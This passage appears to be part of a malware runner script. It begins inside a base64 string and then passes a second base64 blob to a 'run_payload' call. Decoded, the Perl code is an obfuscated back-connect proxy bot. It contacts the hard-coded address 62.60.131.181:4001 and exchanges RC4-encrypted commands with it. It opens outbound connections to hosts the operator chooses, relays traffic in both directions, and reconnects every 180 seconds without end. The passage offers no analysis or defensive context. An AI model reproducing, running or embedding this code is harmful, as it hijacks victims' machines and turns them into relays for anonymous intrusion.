JDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_39.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgxJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgM